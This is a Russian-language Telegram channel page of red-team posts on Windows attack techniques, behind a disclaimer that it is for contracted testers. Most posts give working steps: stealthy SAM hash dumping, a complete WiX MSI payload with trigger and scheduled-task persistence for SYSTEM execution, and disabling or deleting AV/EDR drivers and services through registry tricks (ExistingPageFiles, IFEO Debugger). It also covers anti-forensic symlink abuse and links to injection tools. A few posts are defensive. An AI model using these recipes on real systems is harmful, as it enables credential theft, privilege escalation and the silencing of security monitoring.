ByTe [ ]f Digital Life
СтатистикаСтатьи имеют ознакомительный характер и предназначены для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор не несёт ответственности за любой вред, причиненый с использованием изложенной информации.
- Последний пост
- 11 авг.
- Последнее чтение
- 14:50
- Постов за неделю
- 1
- Всего постов
- 24
- Тип
- открытый
- Язык
- русский
- В каталоге с
- 12 авг.
- 1/24сутки в ленте
- 331
- 1/48двое суток
- 379
- 1/72трое суток
- 409
Оценка по просмотрам недавних постов: пост набирает почти всё за первые сутки.
Посты
Снижаем видимость SAM dump для EDR Классический Impacket/secdump: RemoteRegistry → \\pipe\\winreg → BaseRegSaveKey / BaseRegSaveKeyEx → hive-файл → SMB pull → offline parse Это хорошо детектится: SaveKey, временный SAM hive, файловый след, SMB-чтение. NXC regdump уже тише, но там основной SAM path всё равно выглядит так: BaseRegOpenKey → BaseRegEnumKey(RID) → BaseRegQueryValue("V") Как можно сделать чтобы сломать паттерн детекта: RemoteRegistry → \\pipe\\winreg → BaseRegOpenKey(BACKUP_RESTORE) → BaseRegEnumValue Без использования: - BaseRegSaveKey - BaseRegSaveKeyEx - временного hive-файла - SMB pull - первого BaseRegQueryValue("V") Решение: BaseRegEnumValue возвращает ValueName, Type и Data прямо в RPC response. Поэтому данные можно забрать через enumeration, а не через query, что ломает логику многих детектов : )
CIG: загрузка только DLL, подписанных Microsoft В Windows есть Code Integrity Guard (CIG), он же Binary Signature Policy. Параметр MicrosoftSignedOnly запрещает процессу загружать PE-модули, не подписанные Microsoft. Обычный Authenticode-сертификат компании или собственный сертификат не подойдёт. #define _WIN32_WINNT 0x0602 #include <windows.h> #include <stdio.h> int main(void) { PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy = {0}; policy.MicrosoftSignedOnly = 1; if (!SetProcessMitigationPolicy( ProcessSignaturePolicy, &policy, sizeof(policy))) { printf("Error: %lu\n", GetLastError()); return 1; } puts("Microsoft-signed-only policy enabled"); return 0; } Этот флаг проверяет конкретную DLL при одном вызове LoadLibraryEx, тогда как MicrosoftSignedOnly действует на весь процесс. На практике CIG может ломать плагины, хуки EDR/AV, оверлеи и любые сторонние DLL. Небольшая защитка от некоторых продуктов, которые любят пихнуть свою dll-ку в процесс для более глубокого мониторинга за user-mode пространством.
Дампим SAM/SYSTEM через 7-Zip Знакомая ситуация: вы на машине юзера, нужно достать хеши, но reg save или copy блокируются EDR, файлы заблокированы самой Windows, а антивирус палит известные утилиты. Но на рабочих станциях часто установлен 7-Zip! И у него есть крутая недокументированная фича - прямое чтение диска (raw disk access). А можно использовать и для DFIR извлекать MFT и т.д. Чем проще и банальнее тем лучше : )
Windows Installer cache Каждый установленный MSI кэшируется в C:\Windows\Installer\ под случайным именем (*.msi). Механизм self-repair позволяет перезапускать custom actions от имени NT AUTHORITY\SYSTEM, если установка была per-machine. Когда MSI устанавливается с привилегиями SYSTEM (per-machine install), Windows сохраняет копию пакета в Installer cache. Дальше любая команда вида: msiexec /fa {PRODUCT-CODE-GUID} запускает reinstall all files - и вместе с ним все custom actions из закэшированного MSI, причём от SYSTEM, даже если триггер пришёл от обычного пользователя через службу Windows Installer. Минимальный payload.wxs: <?xml version="1.0" encoding="UTF-8"?> <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Product Id="*" Name="UpdateHelper" Language="1033" Version="1.0.0.0" Manufacturer="MS" UpgradeCode="PUT-YOUR-GUID-HERE"> <Package InstallerVersion="200" Compressed="yes" InstallScope="perMachine" /> <Media Id="1" Cabinet="data.cab" EmbedCab="yes" /> <Directory Id="TARGETDIR" Name="SourceDir"> <Directory Id="ProgramFiles64Folder"> <Directory Id="INSTALLFOLDER" Name="UpdateHelper" /> </Directory> </Directory> <Feature Id="Main" Title="Main" Level="1"> <ComponentRef Id="Dummy"/> </Feature> <DirectoryRef Id="INSTALLFOLDER"> <Component Id="Dummy" Guid="*"> <File Id="dummy" Source="dummy.txt" KeyPath="yes"/> </Component> </DirectoryRef> <!-- Полезная нагрузка --> <CustomAction Id="Payload" ExeCommand='cmd.exe /c whoami > C:\Windows\Temp\who.txt' Directory="INSTALLFOLDER" Execute="deferred" Impersonate="no" Return="ignore"/> <InstallExecuteSequence> <Custom Action="Payload" After="InstallFiles">1</Custom> </InstallExecuteSequence> </Product> </Wix> Ключевые атрибуты: - InstallScope="perMachine" — иначе кэш будет в профиле пользователя и SYSTEM не получится - Execute="deferred" + Impersonate="no" — выполнение из контекста msiserver под SYSTEM - Return="ignore" — чтобы падение payload не откатывало установку Сборка: candle payload.wxs light payload.wixobj -o payload.msi Установка и триггер msiexec /i payload.msi /quiet После этого MSI лежит в C:\Windows\Installer\<random>.msi, ProductCode виден в: HKLM\SOFTWARE\Classes\Installer\Products\ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ Триггер для повторного запуска под SYSTEM: msiexec /fa {PRODUCT-CODE} Дополнительно подкрепляется через schtasks /create /tn "WindowsUpdateCheck" /sc daily /st 09:00 ^ /tr "msiexec /fa {GUID} /qn"
#apt #bypass EntryPoint hijacking - техника для скрытого исполнения кода https://ipurple.team/2026/05/13/entrypoint-hijacking/ Чат в МАХ Канал в МАХ Telegram ✉️ @freedomfox
видео или голосовое, без подписи
В Windows существует важный нюанс, о котором редко говорят в прикладном контексте защиты EDR. Между моментом, когда объект нового процесса уже становится доступен из user mode, и моментом, когда kernel-mode драйвер безопасности получает/обрабатывает уведомление о его создании, может существовать короткий TOCTOU-разрыв. Иными словами: прикладной код в некоторых сценариях успевает «попасть в окно» раньше, чем драйвер EDR применит свою политику через callbacks/notifications. Если служба EDR запускается как обычный процесс, а не как PPL / Protected Process Light, такой разрыв теоретически может позволить сорвать её старт до того, как драйвер успеет полноценно защитить или изолировать процесс. Важно: суть не в том, кто инициировал запуск процесса. Проблема архитектурная - объект процесса уже доступен на 3-м кольце, а уведомление в драйвере приходит позже. Именно поэтому для критичных компонентов EDR недостаточно полагаться только на kernel callbacks. Защищаемый сервис должен стартовать в более жёсткой модели доверия, например как PPL, иначе появляется риск гонки между user mode и логикой защиты драйвера. Код для того, чтобы попробовать это проэксплуатировать https://github.com/JO1CaRE/killerservice/tree/main
ThreadPort - минимальный Windows x64 CLI-инструмент для контролируемых лабораторных сценариев, который загружает указанную DLL в уже запущенный процесс по имени исполняемого файла. Проект предназначен для обучения, отладки собственных DLL, демонстрации классического механизма LoadLibraryW через удаленный поток и исследования защитной телеметрии Windows/EDR/Sysmon в разрешенной среде. https://github.com/JO1CaRE/ThreadPort
PE64 Revenant — утилита для принудительной загрузки .dll библиотеки в выбранный AMD64-исполняемый файл Windows с помощью создания новой исполняемой секции в бинарнике. Скрипт добавляет или переиспользует секцию .run (можно назвать иначе), записывает в неё минимальный x64 loader-stub, перенаправляет AddressOfEntryPoint на этот stub, вызывает LoadLibraryW для указанной DLL, после чего передает управление исходной точке входа программы. Логика stub: sub rsp, 28h lea rcx, [rip + dll_path] call qword ptr [rip + LoadLibraryW_IAT] add rsp, 28h jmp old_oep ; UTF-16LE DLL path https://github.com/JO1CaRE/PE64-Revenant
MFTShadowForge - консольный инструмент для форензики NTFS с поддержкой правил корреляции на пути. (Написан на Rust) - извлекает MFT с диска (например, C:) в raw - парсит raw MFT в JSONL - восстанавливает полный путь, вытаскивает метки времени 0x10/0x30 - имеются встроенные правила на timestomping - поддерживает свои правила корреляции по пути и ставит FitsRules Жду комментарии по улучшению,доработке и внедрению новых функций! 👩💻 GIT
Living of the Land AI 🔥 Несколько недель назад мы с @ThreatHuntingFather дискутировали на тему AI‑агентов и APT‑техник. Меня давно интересовал вопрос, как можно «вооружать» легитимные AI‑агенты для задач Red Team и adversary emulation, оставаясь в рамках минимального шума 😃 В итоге эта идея выросла в нечто большее - Living of the Land AI или LOLAI 😇 LOLAI это база знаний которая описывает: • векторы атак с использованием AI агентов • способы злоупотребления легитимными агентами и API • detection opportunities и hunting use cases Если вы знаете интересный AI‑агент, который можно использовать для Red Team / Adversary Emulation - feel free to contribute, будем только рады ☺️ 🔗 LOLAI Project: https://lolai-project.github.io/ Максимальный репост друзья, дадим жизнь проекту‼ 🧢 s0ld13r
ELF HEADERS В исполняемых файлах формата ELF присутствуют заголовки и служебные структуры, которые не являются критичными для непосредственной загрузки и выполнения бинарного модуля операционной системой или динамическим загрузчиком, но активно используются утилитами анализа при парсинге файла. Умышленное искажение таких заголовков позволяет формировать вредоносные программы, которые будут приводить к сбоям и аварийному завершению работы песочниц и систем анализа, оставаясь при этом работоспособными на целевом хосте, а также использовать отдельные поля заголовков как контейнер для скрытого хранения конфиденциальных данных. Подробно: https://kyrr1s.github.io/posts/abusing-elf-header-forgotten-fields/ При поддержке: @while_not_False
Удаляем драйвер через smss.exe Кто-то меня спрашивал как удалить драйвер AV/EDR, потому что службу мы уже смогли и перезаписать и удалить, а с драйвером так сделать было невозможно. В общем я что то потыкал и удалил драйвер с перезагрузкой хоста. Открываем: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management И в параметр ExistingPageFiles записываем путь к драйверу AV/EDR (начало пути \??\C:\ ну или иная метка диска), после ребутаем тачку и получаем профит в случае, если smss.exe сможет получить права на удаление. По этой причине работа данной техники сильно зависит от архитектуры решения которое мы пытаемся удалить. Работает и на 10 и на 11 Windows
OFFICE MOMENT Параметр, позволяющий установить, нажимал ли пользователь кнопку "Включить содержимое", хранится в ветви: NTUSER.dat\Software\Microsoft\Office\<версия>\ <приложение>\Security\Trusted Documents\TrustRecords, где <версия> - числовой идентификатор версии Office (например, 14.0, 15.0, 16.0), а <приложение> - Word, Excel, PowerPoint и т.п. Внутри ключа TrustRecords формируются значения, каждое из которых соответствует конкретному документу, для которого пользователь либо: - разрешил редактирование документа, полученного из недоверенного источника; - включил выполнение активного содержимого (макросов, встроенного VBScript). Шаблоны Word (Normal.dotm, NormalEmail.dotm) как механизм закрепления Стандартные шаблоны Word располагаются по пути: C:\Users\<имя пользователя>\AppData\Roaming\Microsoft\Templates\Normal.dotm C:\Users\<имя пользователя>\AppData\Roaming\Microsoft\Templates\NormalEmail.dotm Злоумышленник может внедрить вредоносный VBA-код непосредственно в базовый шаблон Word (Normal.dotm). В результате каждый запуск Word и открытие любого документа приводят к загрузке макроса и потенциальному выполнению вредоносного кода без привязки к конкретному файлу. Подробнее Для типичной установки Office размер файлов Normal.dotm и NormalEmail.dotm находится в диапазоне примерно 17-19 КБ. Значительное увеличение размера может указывать на наличие дополнительных макросов, форм, встроенных объектов и других модификаций. Однако это лишь предварительный индикатор, требующий дальнейшего анализа содержимого. Outlook и параметр LoadMacroProviderOnBoot Параметр: NTUSER.dat\Software\Microsoft\Office\<версия>\Outlook\LoadMacroProviderOnBoot управляет тем, будет ли Outlook при запуске автоматически загружать настроенный VBA. Наличие значения 1 = enable; При этом необходимо учитывать, что в отдельных случаях настройка может быть изменена легитимным программным обеспечением или корпоративной политикой, поэтому интерпретация всегда должна сопровождаться анализом установленных надстроек Outlook и сопоставлением с перечнем разрешенного программного обеспечения. Доверенные расположения (Trusted Locations) как обход политики макросов В Office реализован механизм доверенных расположений, в которых документы могут содержать активное содержимое (макросы, встроенные скрипты) и при этом открываться без дополнительных предупреждений пользователя. Эти настройки задаются отдельно для каждого приложения и версии Office. NTUSER.dat\Software\Microsoft\Office\<версия>\<приложение>\Security\Trusted Locations\LocationX где LocationX - пронумерованные записи (Location0, Location1, Location2 и т.д.). Внутри хранятся по крайней мере следующие значения: - Path - путь к доверенной папке; - AllowSubFolders - флаг, указывающий, распространяется ли доверие на вложенные каталоги; - Description, Date и другие атрибуты, уточняющие суть и время создания записи. Данные техники использовались в атаках APT28.
Продолжаем смеяться над Windows Image File Execution Options все традиционно воспринимают как метод закрепления и повышения привилегий, но что если не только... Этот раздел реестра можно использовать для перенаправления выполнения любого приложения на другой исполняемый файл. Следовательно... HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<Имя службы AV/EDR>.exe Value: Debugger (REG_SZ) : "C:\windows\system32\calc.exe" После перезапуска службы (как вариант перезагрузки хоста) служба более не стартует. Работает с продуктами не всех вендоров, но работает.
видео или голосовое, без подписи
видео или голосовое, без подписи
видео или голосовое, без подписи
ANTIFORENSIC moment Как отмечали специалисты Kaspersky в статье об AmCache, этот артефакт формируется и сопровождается операционной системой, и на момент выхода материала не было известных способов вмешаться в его содержимое или удалить его записи. Похоже, что сейчас как раз наступил тот самый момент, о котором они писали. Как уже отмечалось в исходном посте, в Windows 11, в отличие от Windows 10, стало невозможно перезаписать объект каталога целиком. Однако нигде не сказано, что аналогичный прием нельзя применить к отдельным файлам внутри этого каталога. К сожалению, так удается поступить не со всеми файлами, к тому же в целевой директории должны быть права на запись. А если провернуть ещё парочку манипуляций, то к файлу не просто будет невозможно обратиться, но и он в целом перестанет существовать. ) Используя тот же подход: mklink "<Path_to_File>:<Any_symbols>" становится возможным превратить файл в symlink. Кстати какой нибудь SAM, можно перезаписать таким же образом. Возможно, у этого есть и более интересное применение, но его пока что не придумал, если есть идеи то жду в комментариях.
🔍 RealBlindingEDR — инструмент, который навсегда отключает AV/EDR с помощью колбэков ядра Открытый инструмент под названием RealBlindingEDR позволяет злоумышленникам «ослеплять», навсегда отключать или завершать работу антивирусного (AV) и EDR-ПО, очищая критические колбэки ядра в системах Windows. Утилита использует подписанные драйверы для произвольного чтения и записи в память, обходит защиты вроде PatchGuard и нацелена на шесть основных типов колбэков ядра. Эксплуатируя уязвимые драйверы, такие как echo_driver.sys или dbutil_2_3.sys, RealBlindingEDR получает доступ уровня ядра, не вызывая мгновенного обнаружения. Читать далее: https://cybersecuritynews.com/realblindingedr-tool/ 👉 @cybersecinform